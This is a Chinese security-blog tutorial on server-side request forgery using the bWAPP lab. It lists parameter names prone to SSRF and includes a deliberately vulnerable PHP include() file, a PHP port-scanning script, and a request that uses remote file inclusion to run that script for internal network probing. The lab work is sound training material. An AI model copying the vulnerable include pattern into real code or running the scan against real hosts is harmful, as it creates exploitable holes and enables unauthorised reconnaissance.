SSRF(Server-Side Request Forgery):服务器端请求伪造

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由内部系统访问的,,也就是把目标网站当中间人)一.原理:由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。数据流:攻击者----->服务器---->目标地址二.PHP中下面函数的使用不当会导致SSRF:如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤。首先,我们要对目标网站的架构了解,脑子里要有一个架构图。 阅读详情
0X00 SSRF介绍

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

html,php,asp,jsp 具有这些文件后缀的文件通常储存在web服务器(网站服务器)中,而且web服务器都具有独立ip

网站访问大致步骤:

用户在地址栏输入网址 --> 向目标网站发送请求 --> 目标网站接受请求并在服务器端验证请求是否合法,然后返回用户所需要的页面 --> 用户接收页面并在浏览器中显示

【此处的请求默认为www.xxx.com/a.php?image=(地址)】

那么产生SSRF漏洞的环节在哪里呢?目标网站接受请求后在服务器端验证请求是否合法

产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致可以从其他服务器的获取一定量的数据

例如:

www.xxx.com/a.php?image=http://www.abc.com/1.jpg

如果我们将http://www.abc.com/1.jpg换为与该服务器相连的内网服务器地址会产生什么效果呢?

如果存在该内网地址就会返回1xx 2xx 之类的状态码,不存在就会其他的状态码

终极简析:

SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有发现在这个请求是合法的,然后服务器以他的身份来访问其他服务器的资源。

0X01 SSRF漏洞的寻找(漏洞常见出没位置):

1)分享:通过URL地址分享网页内容

2)转码服务

3)在线翻译

4)图片加载与下载:通过URL地址加载或下载图片

5)图片、文章收藏功能

6)未公开的api实现以及其他调用URL的功能

7)从URL关键字中寻找
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
…

0X02 SSRF漏洞的验证方法:

1)因为SSRF漏洞是构造服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的来判断是否存在SSRF漏洞

2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞

最后附带一张SSRF漏洞导图
在这里插入图片描述

0X03 SSRF的3个小实验

bWAPP中的SSRF给出了3个小实验来说明SSRF的利用场景:

任务1:使用(RFI)远程文件包含进行端口扫描(内网探测)

任务2:使用XXE获取敏感文件中的内容(文件读取)

任务3:使用XXE进行SmartTV的拒绝服务漏洞的利用(漏洞利用)

RFI综述

RFI是Remote File Inclusion的英文缩写,直译过来就是远程文件包含,文件包含的目的是:程序员编写程序时,经常会把需要重复使用的代码写入一个单独的文件中,当需要调用这些代码时,再在其他文件中包含调用代码的文件。
要了解远程文件包含,首要先了解php的文件包含机制:
PHP中常用的包含调用函数有:include(), require(), include_once(), require_once() .include失败会弹出警告 而require则直接导致致命的错误
写个例子吧,直接讲下RFI:
s_hell.php(php.ini下开启allow_url_fopen allow_url_include)

<?php

if(isset($_GET['file'])){

$file = $_GET['file'];

include($file);

}

?>

http://10.22.10.191/Myphp/s_hell.php?file=https://bbs.ichunqiu.com
在这里插入图片描述
包含其实通俗点来讲,就是把被包含的文件的代码拿过来当作自己的源码的一部分,所以,php文件包含机制有个特性:哪怕被包含的文件是个txt文件,它也会被包含文件所在的服务器当作脚本去执行:

任务1:使用远程文件包含进行端口扫描

点击任务1中的Port scan可以获得一份端口扫描的攻击脚本
包含其实通俗点来讲,就是把被包含的文件的代码拿过来当作自己的源码的一部分,所以,php文件包含机制有个特性:哪怕被包含的文件是个txt文件,它也会被包含文件所在的服务器当作脚本去执行:
任务1:使用远程文件包含进行端口扫描
点击任务1中的Port scan可以获得一份端口扫描的攻击脚本
http://10.22.10.191/Myphp/ssrf-1.txt

<?php

echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";

if(isset($_REQUEST["ip"]))
{
    
    //list of port numbers to scan
    $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);  //要扫描的端口
    
    $results = array();        //把端口开放结果存在数组里
    
    foreach($ports as $port)           //遍历端口
    {

        if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))          //fsockopen()判断端口开放情况
        {

            $results[$port] = true;         //结果放置在result数组里
            fclose($pf);
            
        }
        
        else
        {

            $results[$port] = false;        

        }

    }
 
    foreach($results as $port=>$val)             //遍历结果数组 $port=>$val 键值对形式
    {

        $prot = getservbyport($port,"tcp");        /获取端口服务
        echo "Port $port ($prot): ";

        if($val)                  //存在结果数组里的值是true,即为端口open,否则端口close
        {

            echo "<span style=\"color:green\">OK</span><br/>";

        }

        else
        {

            echo "<span style=\"color:red\">Inaccessible</span><br/>";

        }

    }

}

//echo phpinfo();
?>

进入Remote & Local File Inclusion (RFI/LFI)的实验后,看到有个选择语言的功能模块,直接执行下,观察Get请求中的参数,发现是典型文件包含问题,language=lang_en.php

GET的请求: http://127.0.0.1/bwapp/bWAPP/rlfi.php?language=http://10.22.10.191/Myphp/ssrf-1.txt&action=go

在这里插入图片描述

【Pikachu】SSRF(Server-Side Request Forgery)服务器端请求伪造实战 尽人事以听天命 阅读详情

相关推荐

UE4 专用服务器搭建(UE4.27为例)

专用服务器、DS服务器

mimo134的博客 2775

Server-Side Request Forgery (SSRF) (CWE ID 918)

Server-Side Request Forgery (SSRF) (CWE ID 918)

cheerful_smalltail的博客 1556

通讯接口应用笔记3:使用W5500实现Modbus TCP服务器

  前面我们设计实现了W5500的驱动程序,也讲解了驱动的使用方式。在最近一次的项目应用中,正好有一个使用W5500实现TCP通讯的需求,所以我们就使用该驱动程序轻松实现。这一篇中我们就来说一说基于我们W5500通讯驱动程序实现TCP通讯的过程。 1、应用需求   在本次应用中,要求实现一个基于W5500的Modbus TCP服务器。这个需求的描述虽然只有一句话,但是这个需求的内容可不简单。我们首先来分析一下这个需求的具体内容。   为了实现基于W5500的Modbus TCP服务器,我们必先须基于W550

木南创智 5500

(十一)Server-side request forgery (SSRF)

目录前言一、什么是SSRF?二、SSRF攻击有什么影响?常见的SSRF攻击针对服务器本身的SSRF攻击针对其他后端系统的SSRF攻击规避SSRF的常见防御措施具有基于黑名单的输入过滤器的SSRF具有基于白名单的输入过滤器的SSRF通过开放重定向绕过SSRF过滤器查找SSRF漏洞的隐藏攻击面请求中的部分URL数据格式内的URL通过Referer标头的SSRF 前言 我们将解释什么是服务器端请求伪造,描述一些常见示例,并解释如何查找和利用各种SSRF漏洞。 一、什么是SSRF? 服务器端请求伪造(也称为SS

weixin_43047908的博客 3731

huggingface 镜像站推荐

在做 Ai 应用开发或者学习的时候,我们经常需要下载各种模型,而 huggingface 的模型下载速度很慢或者根本就连不上,这里推荐一个 huggingface 的镜像站,速度很快,可以大大提高我们的效率。

t951984189的博客 1万+

用VSCode远程开发Jetson小车:告别Jupyter,在本地IDE高效调试Rosmaster Python程序

本文详细介绍了如何利用VSCode的Remote-SSH扩展在本地IDE中高效开发Jetson小车的Rosmaster Python程序。通过配置远程开发环境、调试技巧和项目管理方法,开发者可以告别Jupyter Notebook的碎片化编码,实现完整的机器人控制程序开发,显著提升工作效率。

weixin_30652491的博客 477

Web Security 之 Server-side request forgery

Web Security 之 Server-side request forgery

bluemoon_0的博客 899

串并装换器的设计及仿真结果

串/并转换是高速数据流处理的重要技巧之一。串/并转换的实现方法多种多样,根据数据的的顺序和数量要求,可以选用寄存器,双扣RAM,SRAM,FIFO,等实现。对于 数量比较小的设计可以采用移位寄存器完成串/并转换。       在工程中,如何体现串/并转换的设计思想呢? 怎样才能提高系统的处理速度呢 ?       一个简单的串/并转换框架如下图所示,串行输入的数据通过FPGA内部的 n 个移

stubben_bear的专栏 2273

SSRF服务器端请求伪造漏洞精讲+实验

程声明:该课程是教学使用,视频内涉及漏洞利用方法,请勿在互联网环境中使用;维护互联网安全,人人有责。实验所需环境:vmware;kali虚拟机一台;windows server一台;有docker环境的Linux虚拟机环境下载地址在购买课程后单独发送 【课程配套资源】1、Python脚本(Margin老师自研,不光能学漏洞,还能学Python,实在是划算)2、与Margin老师实时互动3、免费的CISP-PTE考试技巧指导(Margin老师与CISP-PTE的负责人很熟的,非常多的一手消息^o^)4、Margin老师的内部直播可以优先参加5、Margin老师的课程基于CISP-PTE的知识体系进一步扩展,使课程内容更贴近实战   【课程主要解决问题】1、CSRF、SSRF搞不清楚?2、SSRF原理是什么?危害大小?如何利用SSRF获取主机权限?如果使用Python提高挖洞效率?3、Gopher协议、Dict协议?完全没听过啊,没关系,看完课程后你门清。4、SSRF渗透Redis数据库,Redis客户端和服务器端怎么通信?通信报文是怎么样的?看这里就行。5、SSRF渗透Struts2总是失败?不知道如何编码?不知道如何使用Gopher协议?来这里。6、SSRF表面简单,实则有无数坑,通过视频提高学习效率吧。 【CISP-PTE介绍】1、CISP-PTE是进入网络安全行业的TOP1认证,能帮你梳理完整的网络安全知识体系2、有PTE证书在网络安全公司是免技术笔试的,怎么样?是不是很棒。3、Margin老师的课程基于CISP-PTE的知识体系进一步扩展,使课程内容更贴近实战本课程属于CISP-PTE渗透测试工程师认证体系的课程,但内容更加丰富。CISP-PTE是国内第一个以动手实操为主的网络安全认证,该注册考试是为了锻炼考生世界解决网络安全问题的能力,持续增强我国的网络安全水平和防御能力,促进国内网络防御能力的不断提高。考试内容从多个层面进行,考点和网络安全动态相结合,真实的反应出真实的网络环境中发现的各种问题。如果要考取CISP-PTE证书需要掌握以下内容:1、Web安全基础,注入漏洞、上传漏洞、跨站脚本漏洞、访问控制漏洞、会话管理漏洞哦等。2、中间件的安全知识,如:Apache,IIS,Tomcat,以及 JAVA 开发的中间件 Weblogic,Jboss, Websphere 等,且要了解中间件加固方法,在攻与防的能力上不断提升。3、操作系统安全,包含Windows和Linux操作系统,从账户管理、文件系统权限、日志审计等方面讲解,了解常见的漏洞方式和加固方法。4、数据库安全,包含MSSQL、MYSQL、ORACLE、REDIS数据,了解常用的数据库漏洞和题全方法,保证数据库的安全性。 【关于Margin老师】· Margin/教育系统网络安全保障人员认证首批讲师/高级讲师· 擅长CTF/Web安全/渗透测试 /系统安全· 3年研发/擅长Java/Python/某银行现金循环机业务系统开发者· 曾参与开发网络安全认证教材· 知乎专栏/CISP-PTE渗透测试工程师学习· 4年线下网络安全讲师/2000+线下学员/100000+线上学员

OpenClaw Windows 最详细安装指南

Windows上养龙虾:OpenClaw完整安装教程+钉钉接入,助你养只大龙虾

weixin_43405859的博客 2215

麒麟V10 SP3国产化环境部署MySQL 8.0全流程实战

本文详细介绍了在国产化操作系统麒麟V10 SP3上部署MySQL 8.0的全流程实战指南。从环境准备、冲突排查到安装包处理、服务配置与安全加固,提供了详细的命令和技巧,帮助用户顺利完成MySQL 8.0的部署与优化,适用于国产化环境下的数据库应用。

weixin_29231027的博客 271

[20][03][79] Server-Side Request Forgery

文章目录1. 问题描述2. 问题场景2.1 函数详解2.1.1 URL2.1.2 URLConnection2.1.3 HttpURLConnection2.2 可能存在漏洞的点2.2.1 HttpURLConnection2.2.2 URLConnection2.2.2.1 使用 file 协议2.2.2.2 使用 netdoc 协议2.2.2.3 使用 jar 协议2.2.2.4 jar+http2.2.3 ImageIO2.2.4 HttpClients2.2.5 OkHttpClient 1. 问题

安全新司机 3722

20、Citrix 云桌面常见VDA注册问题汇总

本文总结了与 VDA 中出现的 VDA 会话断开连接、注册、会话卡住以及挂起/崩溃相关的主要支持文章。

我在Citrix、VMware、Veeam、微软和NVIDIA等领域拥有丰富经验的专业人士,专注于设计和维护虚拟化基础设施、实施备份与灾难恢复策略,致力于优化企业的IT环境。 945

【SSRF漏洞】Server-Side Request Forgery 服务器端请求伪造

摘要:SSRF(服务器端请求伪造)是一种利用服务器发起非预期网络请求的漏洞,攻击者可借此访问内部资源或云元数据。常见危害包括内网端口扫描、文件读取、内部API调用、DoS攻击等。触发点包括任何允许用户控制外部资源访问的接口,如文件抓取、WebHook、在线翻译等。典型防御措施包括白名单限制、协议过滤、禁用重定向和内网隔离。实验演示了如何利用dict协议探测内网端口和通过file协议读取系统文件。防御关键在于严格限制服务器发起的请求目标,防止其成为攻击内网的跳板。(149字)

2302_80252080的博客 1037

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

pikachu--ssrf(Server-Side Request Forgery):服务器端请求伪造

PHP中导致ssrf的函数:file_get_contents()、fsockopen()、curl_exec()。 一、curl_exec(): 通过URL语法在命令行下工作的文件传输工具。访问其他地址上的资源。curl支持很多协议,有http、https、ftp、gopher、Telnet、dict、file、ldap。 1.原理: 服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制。攻击者传入恶意地址,受害人访问恶意地址,导致受到攻......

qq_43660551的博客 869

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

Pikachu SSRF(Server-Side Request Forgery:服务器端请求伪造)

Pikachu SSRF(Server-Side Request Forgery:服务器端请求伪造) 文章目录Pikachu SSRF(Server-Side Request Forgery:服务器端请求伪造)一、SSRF概述二、SSRF(curl)实验步骤三、SSRF(file_get_content)实验步骤四、我的公众号 一、SSRF概述 SSRF(Server-Side Request Forgery:服务器端请求伪造) 其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目

永不垂头的博客 567

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

PortSwigger Academy | Server-side request forgery (SSRF) : 服务器端请求伪造

文章目录总结什么是SSRF?SSRF攻击有什么影响?常见的SSRF攻击针对服务器本身的SSRF攻击Lab: Basic SSRF against the local serverSSRF攻击其他后端系统Lab: Basic SSRF against another back-end system规避SSRF的常见防御措施具有基于黑名单的输入过滤器的SSRFLab: SSRF with blacklist-based input filter具有基于白名单的输入过滤器的SSRFLab: SSRF with w

水榭山寺花烂漫,凤凰集外雁归来。敢与云峰争秀色,妙雨莲花九重开。 1658

SSRF(Server-Side Request Forgery)服务器端请求伪造

SSRF形成的原因大都是因为服务器提供了从其他服务器应用数据的功能且没有对目 标地址过过滤与限制,如从指定的URL地址获取网页文本内容,加载图片等. 攻击内网应用,主要针对使用GET请求就可以实现的攻击,如Struts2漏洞、SQL注 入 . 借助其他协议攻击应用,如gopher、file、dict ...

sunxingstar的博客 2972

Web漏洞知识梳理笔记--CSRF(Cross-Site Request Forgery,跨站请求伪造) 和 SSRF(Server-Side Request Forgery,服务器端请求伪造)

CSRF 攻击是通过伪造请求让用户在未授权的情况下执行操作,攻击通常发生在客户端,防范方法包括使用 Anti-CSRF Token、SameSite Cookie 等。SSRF 攻击是通过伪造请求让服务器发起恶意请求,攻击通常发生在服务器端,防范方法包括 URL 白名单、限制访问内部资源等。两者的主要区别在于攻击的发起者和攻击的目标:CSRF 攻击是由攻击者诱使用户发起请求,而 SSRF 攻击是由攻击者诱使服务器发起恶意请求。

qq_47742555的博客 1386

【转】SSRF(Server-Side Request Forgery:服务器端请求伪造)

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)2、向内部任意主机的任意端口发送精心构造的数据包,攻击运行在内网或本地的应用,比如未授权的redis、mysql等。1、SSRF可以对服务器所在内网其他机器和本地机器进行端口扫描,探测内网其他主机存活。4、DOS攻击(请求大文件,始终报错keep-alive alway)​ 利用一台可以进行网络请求的服务器做为跳板攻击其他服务器。3、利用File协议读取本地文件。

WangYouJin321的博客 684

pikachu SSRF (Server-Side Request Forgery 服务器端请求伪造)(皮卡丘漏洞平台通关系列)

一、官方介绍 本节引用内容来自pikachu漏洞平台 SSRF(Server-Side Request Forgery:服务器端请求伪造) 其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制 导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据 数据流:攻击者----->服务器---->目标地址 根据后台使用的函数的不同,对应的影响和利用方法又有不一样 PHP中下面函数的使用不当会导致SSRF: file

箭雨镜屋 3146

DVWA靶场-SSRF(服务器端请求伪造 Server -Side Request Forgery)

DVWA靶场-SSRF(服务器端请求伪造 Server -Side Request Forgery)

qq_21318849的博客 215

Server-Side Request Forgery服务器端请求伪造(ssrf)

我们使用端口访问文件,可以看到有一个过滤条件,它限制了file,dict协议,127.0.0.1和localhost 也不能用,其实就是不想你探测内网端口,也不能读取内网服务文件。所以我们可以在172.19.0.3地址上进行测试端口,端口不一样,值也不一样。我们可以看到出现了php页面、主机名为:172.19.0.3端口为:80。我们可以看到upload具有可执行权限、可以通过这个目录进行访问。此时可以看到容器已经启动成功、并且成功的拉取到ssrfme镜像。获取到shell后、传递到路径里。

Idealismi的博客 596

WebWall-12.SSRF(Server-Side Request Forgery服务器端请求伪造)

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。...

凯歌响起的博客 408

SSRF(服务端请求伪造)

SSRF 简介 SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。 漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。 攻击者可以利用 SSRF 实现的攻击主要有 5 种: 可以对外网、服务器所在内网...

han_code的博客 1097
上一篇: InsecureDeserialization(不安全的反序列化)
下一篇: bWAPP A7:Missing Functional Level Access Control 应用层访问控制缺失。
Shannonnnn
博客等级 码龄10年 241粉丝 69原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值